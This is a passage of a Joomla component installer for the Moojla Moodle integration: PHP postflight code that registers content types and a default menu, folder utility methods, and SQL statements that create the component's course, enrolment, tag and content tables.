"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Check if content type is already in content_type DB.
			$content_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($content->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$content->type_id = $db->loadResult();
				$content_Updated = $db->updateObject('#__content_types',
$content, 'type_id');
			}
			else
			{
				$content_Inserted = $db->insertObject('#__content_types',
$content);
			}

			// Create the category_map content type object.
			$category_map = new stdClass();
			$category_map->type_title = 'Moojla Category_map';
			$category_map->type_alias = 'com_moojla.category_map';
			$category_map->table = '{"special":
{"dbtable": "#__moojla_category_map","key":
"id","type":
"Category_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$category_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"jcatid":"jcatid","mcatid":"mcatid"}}';
			$category_map->router =
'MoojlaHelperRoute::getCategory_mapRoute';
			$category_map->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/category_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","jcatid","mcatid"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Check if category_map type is already in content_type DB.
			$category_map_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($category_map->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$category_map->type_id = $db->loadResult();
				$category_map_Updated =
$db->updateObject('#__content_types', $category_map,
'type_id');
			}
			else
			{
				$category_map_Inserted =
$db->insertObject('#__content_types', $category_map);
			}

			// Create the cohort content type object.
			$cohort = new stdClass();
			$cohort->type_title = 'Moojla Cohort';
			$cohort->type_alias = 'com_moojla.cohort';
			$cohort->table = '{"special": {"dbtable":
"#__moojla_cohort","key":
"id","type": "Cohort","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$cohort->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"mcohort":"mcohort","course_group":"course_group"}}';
			$cohort->router = 'MoojlaHelperRoute::getCohortRoute';
			$cohort->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/cohort.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","mcohort","course_group"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"course_group","targetTable":
"#__usergroups","targetColumn":
"id","displayColumn": "title"}]}';

			// Check if cohort type is already in content_type DB.
			$cohort_id = null;
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('type_id')));
			$query->from($db->quoteName('#__content_types'));
			$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($cohort->type_alias));
			$db->setQuery($query);
			$db->execute();

			// Set the object into the content types table.
			if ($db->getNumRows())
			{
				$cohort->type_id = $db->loadResult();
				$cohort_Updated = $db->updateObject('#__content_types',
$cohort, 'type_id');
			}
			else
			{
				$cohort_Inserted = $db->insertObject('#__content_types',
$cohort);
			}




/***[JCBGUI.joomla_component.php_postflight_update.29.$$$$]***/
     $db = JFactory::getDbo();
        $query = $db->getQuery(true);

       
$query->select('id')->from($db->quoteName('#__menu_types'))->where($db->quoteName('menutype')
. '=' . $db->quote('moojla_default'));
        $db->setQuery($query);
        $result = $db->loadResult();

        if (empty($result)) {

            $query = $db->getQuery(true)
                ->select('extension_id')
                ->from($db->quoteName('#__extensions'))
                ->where($db->quoteName('name') .
'=' . $db->quote('COM_MOOJLA'))
                ->where($db->quoteName('type') .
'=' . $db->quote('component'));

            $db->setQuery($query);
            $moojla_component_id = $db->loadResult();


            $query = $db->getQuery(true);
            $columns = array('menutype', 'title',
'description');

            $values = array($db->quote('moojla_default'),
$db->quote('Moojla Default Menus'), $db->quote('Moojla
Default Description'));

            $query
                ->insert($db->quoteName('#__menu_types'))
                ->columns($db->quoteName($columns))
                ->values(implode(',', $values));

            $db->setQuery($query);
            $db->execute();


            require_once JPATH_ADMINISTRATOR .
'/components/com_menus/tables/menu.php';
            require_once JPATH_ADMINISTRATOR .
'/components/com_menus/models/item.php';
            $obj = new MenusModelItem;
            $menuItems = array(
                'moojla_default' =>
                    array(
                        'menutype' =>
'moojla_default',
                        'title' =>
'moojla_course_search',
                        'type' => 'component',
                        'link' =>
'index.php?option=com_moojla&view=course_search',
                        'language' => '*',
                        'published' => 1,
                        'level' => 1,
                        'parent_id' => 1,
                        'access' => 1,
                        'client_id' => 0
                    )
            );

          

            foreach ($menuItems as $key => &$menuItem) {
                if ($key == 'moojla_default') {
                    $menuItem['component_id'] =
$moojla_component_id;
                }

                $obj->save($menuItem);

            }


        }
/***[/JCBGUI$$$$]***/

			echo '<a target="_blank"
href="http://Lmskaran.com" title="Moojla">
				<img
src="components/com_moojla/assets/images/vdm-component.png"/>
				</a>
				<h3>Upgrade to Version 1.0.77 Was Successful! Let us know if
anything is not working as expected.</h3>';
		}
		return true;
	}

	/**
	 * Remove folders with files
	 * 
	 * @param   string   $dir     The path to folder to remove
	 * @param   boolean  $ignore  The folders and files to ignore and not
remove
	 *
	 * @return  boolean   True in all is removed
	 * 
	 */
	protected function removeFolder($dir, $ignore = false)
	{
		if (Folder::exists($dir))
		{
			$it = new RecursiveDirectoryIterator($dir);
			$it = new RecursiveIteratorIterator($it,
RecursiveIteratorIterator::CHILD_FIRST);
			// remove ending /
			$dir = rtrim($dir, '/');
			// now loop the files & folders
			foreach ($it as $file)
			{
				if ('.' === $file->getBasename() || '..' === 
$file->getBasename()) continue;
				// set file dir
				$file_dir = $file->getPathname();
				// check if this is a dir or a file
				if ($file->isDir())
				{
					$keeper = false;
					if ($this->checkArray($ignore))
					{
						foreach ($ignore as $keep)
						{
							if (strpos($file_dir, $dir.'/'.$keep) !== false)
							{
								$keeper = true;
							}
						}
					}
					if ($keeper)
					{
						continue;
					}
					Folder::delete($file_dir);
				}
				else
				{
					$keeper = false;
					if ($this->checkArray($ignore))
					{
						foreach ($ignore as $keep)
						{
							if (strpos($file_dir, $dir.'/'.$keep) !== false)
							{
								$keeper = true;
							}
						}
					}
					if ($keeper)
					{
						continue;
					}
					File::delete($file_dir);
				}
			}
			// delete the root folder if not ignore found
			if (!$this->checkArray($ignore))
			{
				return Folder::delete($dir);
			}
			return true;
		}
		return false;
	}

	/**
	 * Check if have an array with a length
	 *
	 * @input	array   The array to check
	 *
	 * @returns bool/int  number of items in array on success
	 */
	protected function checkArray($array, $removeEmptyString = false)
	{
		if (isset($array) && is_array($array) && ($nr =
count((array)$array)) > 0)
		{
			// also make sure the empty strings are removed
			if ($removeEmptyString)
			{
				foreach ($array as $key => $string)
				{
					if (empty($string))
					{
						unset($array[$key]);
					}
				}
				return $this->checkArray($array, false);
			}
			return $nr;
		}
		return false;
	}

	/**
	 * Method to set/copy dynamic folders into place (use with caution)
	 *
	 * @return void
	 */
	protected function setDynamicF0ld3rs($app, $parent)
	{
		// get the instalation path
		$installer = $parent->getParent();
		$installPath = $installer->getPath('source');
		// get all the folders
		$folders = Folder::folders($installPath);
		// check if we have folders we may want to copy
		$doNotCopy = array('media','admin','site');
// Joomla already deals with these
		if (count((array) $folders) > 1)
		{
			foreach ($folders as $folder)
			{
				// Only copy if not a standard folders
				if (!in_array($folder, $doNotCopy))
				{
					// set the source path
					$src = $installPath.'/'.$folder;
					// set the destination path
					$dest = JPATH_ROOT.'/'.$folder;
					// now try to copy the folder
					if (!Folder::copy($src, $dest, '', true))
					{
						$app->enqueueMessage('Could not copy '.$folder.'
folder into place, please make sure destination is writable!',
'error');
					}
				}
			}
		}
	}
}
sql/index.html000064400000000054151165724400007344
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>sql/install.mysql.utf8.sql000064400000046022151165724400011574
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`addcontrols` TINYINT(1) NOT NULL DEFAULT 1,
	`alias` CHAR(64) NOT NULL DEFAULT '',
	`alterurl` VARCHAR(255) NULL DEFAULT '',
	`autoplay` TINYINT(1) NOT NULL DEFAULT 0,
	`autoplayaudio` TINYINT(1) NOT NULL DEFAULT 0,
	`availabilityinfolink` TINYINT(1) NOT NULL DEFAULT 2,
	`buylbl` VARCHAR(50) NULL DEFAULT '',
	`cangotomoodle` TINYINT(1) NOT NULL DEFAULT 2,
	`cat_id` INT(10) NOT NULL DEFAULT 0,
	`cat_name` CHAR(255) NOT NULL DEFAULT '',
	`catid` INT(64) NULL DEFAULT 0,
	`cost` INT(50) NOT NULL DEFAULT 0,
	`course_detail_layout` VARCHAR(255) NOT NULL DEFAULT '',
	`course_templatestyle_forcourseconfig` INT(10) NOT NULL DEFAULT 0,
	`currency` VARCHAR(10) NOT NULL DEFAULT 0,
	`enddate` VARCHAR(255) NULL DEFAULT '0000-00-00 00:00:00',
	`enrollbl` VARCHAR(50) NULL DEFAULT '',
	`enterlbl` VARCHAR(50) NULL DEFAULT '',
	`freeenterlbl` VARCHAR(50) NULL DEFAULT '',
	`fullname` VARCHAR(255) NOT NULL DEFAULT '',
	`guest` INT(10) NOT NULL DEFAULT 0,
	`in_enrol_date` VARCHAR(10) NOT NULL DEFAULT '',
	`loginlbl` VARCHAR(50) NULL DEFAULT '',
	`loginurl` VARCHAR(255) NULL DEFAULT '',
	`muted` TINYINT(1) NOT NULL DEFAULT 0,
	`permanent_fields` VARCHAR(64) NOT NULL DEFAULT '',
	`popupbutton` TINYINT(1) NOT NULL DEFAULT 2,
	`preloadaudio` TINYINT(1) NOT NULL DEFAULT 0,
	`preloadvideo` TINYINT(1) NOT NULL DEFAULT 0,
	`preventdownload` TINYINT(1) NOT NULL DEFAULT 0,
	`preventdownloadaudio` TINYINT(1) NOT NULL DEFAULT 0,
	`redirect_after_enrol` TINYINT(1) NOT NULL DEFAULT 2,
	`registrationurl` VARCHAR(255) NULL DEFAULT '',
	`remoteid` INT(10) NOT NULL DEFAULT 0,
	`self_enrolment` VARCHAR(10) NOT NULL DEFAULT '',
	`shortname` VARCHAR(255) NOT NULL DEFAULT '',
	`showlogintab` TINYINT(1) NOT NULL DEFAULT 2,
	`showregtab` TINYINT(1) NOT NULL DEFAULT 2,
	`startdate` VARCHAR(255) NULL DEFAULT '0000-00-00 00:00:00',
	`summary` TEXT NOT NULL,
	`summary_files` MEDIUMTEXT NOT NULL,
	`teachers` TEXT NOT NULL,
	`useglobalaudio` TINYINT(1) NOT NULL DEFAULT 1,
	`useglobalvideo` TINYINT(1) NOT NULL DEFAULT 1,
	`videotype` TINYINT(1) NOT NULL DEFAULT 1,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	`metakey` TEXT NOT NULL,
	`metadesc` TEXT NOT NULL,
	`metadata` TEXT NOT NULL,
	PRIMARY KEY  (`id`),
	UNIQUE KEY `idx_remoteid` (`remoteid`),
	KEY `idx_shortname` (`shortname`),
	KEY `idx_catid` (`catid`),
	KEY `idx_alias` (`alias`),
	KEY `idx_permanent_fields` (`permanent_fields`),
	KEY `idx_course_templatestyle_forcourseconfig`
(`course_templatestyle_forcourseconfig`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_course_field_mapper` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`coursefield` INT(10) NOT NULL DEFAULT 0,
	`field_icon` VARCHAR(255) NOT NULL DEFAULT '',
	`mcoursefields` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_coursefield` (`coursefield`),
	KEY `idx_mcoursefields` (`mcoursefields`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_user_map` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`debug` VARCHAR(10) NULL DEFAULT '',
	`jid` INT(11) NOT NULL DEFAULT 0,
	`mid` INT(64) NOT NULL DEFAULT 0,
	`updatetype` TINYINT(3) NOT NULL DEFAULT 1,
	`userimage` VARCHAR(1024) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_jid` (`jid`),
	KEY `idx_mid` (`mid`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_user_field_map` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`iscv` TINYINT(1) NOT NULL DEFAULT 0,
	`juserfields` VARCHAR(64) NOT NULL DEFAULT '',
	`muserfields` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_juserfields` (`juserfields`),
	KEY `idx_muserfields` (`muserfields`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_course_group_map` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`course_group` INT(11) NOT NULL DEFAULT 0,
	`moojlacourse` INT(11) NOT NULL DEFAULT 0,
	`role` INT(7) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_moojlacourse` (`moojlacourse`),
	KEY `idx_course_group` (`course_group`),
	KEY `idx_role` (`role`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_enrolment` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`enrolldate` DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
	`jid` INT(11) NOT NULL DEFAULT 0,
	`moojlacourse` INT(11) NOT NULL DEFAULT 0,
	`role` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_role` (`role`),
	KEY `idx_moojlacourse` (`moojlacourse`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_tag` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`isstandard` TINYINT(1) NOT NULL DEFAULT 0,
	`tagid` INT(10) NOT NULL DEFAULT 0,
	`tagname` VARCHAR(64) NOT NULL DEFAULT '',
	`tags` INT(255) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	UNIQUE KEY `idx_tagid` (`tagid`),
	KEY `idx_tagname` (`tagname`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_tag_instance` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`moodletag` INT(10) NOT NULL DEFAULT 0,
	`moojlacourse` INT(11) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_moojlacourse` (`moojlacourse`),
	KEY `idx_moodletag` (`moodletag`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_section` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`courseid` INT(10) NOT NULL DEFAULT 0,
	`name` VARCHAR(255) NOT NULL DEFAULT '',
	`section_id` INT(10) NULL DEFAULT 0,
	`summary` TEXT NOT NULL,
	`uservisible` TINYINT(1) NOT NULL DEFAULT 0,
	`visible` TINYINT(1) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	UNIQUE KEY `idx_section_id` (`section_id`),
	KEY `idx_courseid` (`courseid`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_module` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`description` TEXT NOT NULL,
	`modicon` TEXT NOT NULL,
	`modname` VARCHAR(255) NOT NULL DEFAULT '',
	`module_id` INT(10) NOT NULL DEFAULT 0,
	`module_section_id` INT(10) NOT NULL DEFAULT 0,
	`name` VARCHAR(255) NOT NULL DEFAULT '',
	`url` VARCHAR(255) NOT NULL DEFAULT '',
	`uservisible` TINYINT(1) NOT NULL DEFAULT 0,
	`visible` TINYINT(1) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	UNIQUE KEY `idx_module_id` (`module_id`),
	KEY `idx_module_section_id` (`module_section_id`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_content` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`contents_module_id` INT(10) NOT NULL DEFAULT 0,
	`file` VARCHAR(255) NOT NULL DEFAULT '',
	`filename` VARCHAR(255) NOT NULL DEFAULT '',
	`filesize` INT(64) NOT NULL DEFAULT 0,
	`fileurl` VARCHAR(255) NOT NULL DEFAULT '',
	`mimetype` VARCHAR(64) NOT NULL DEFAULT '',
	`type` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
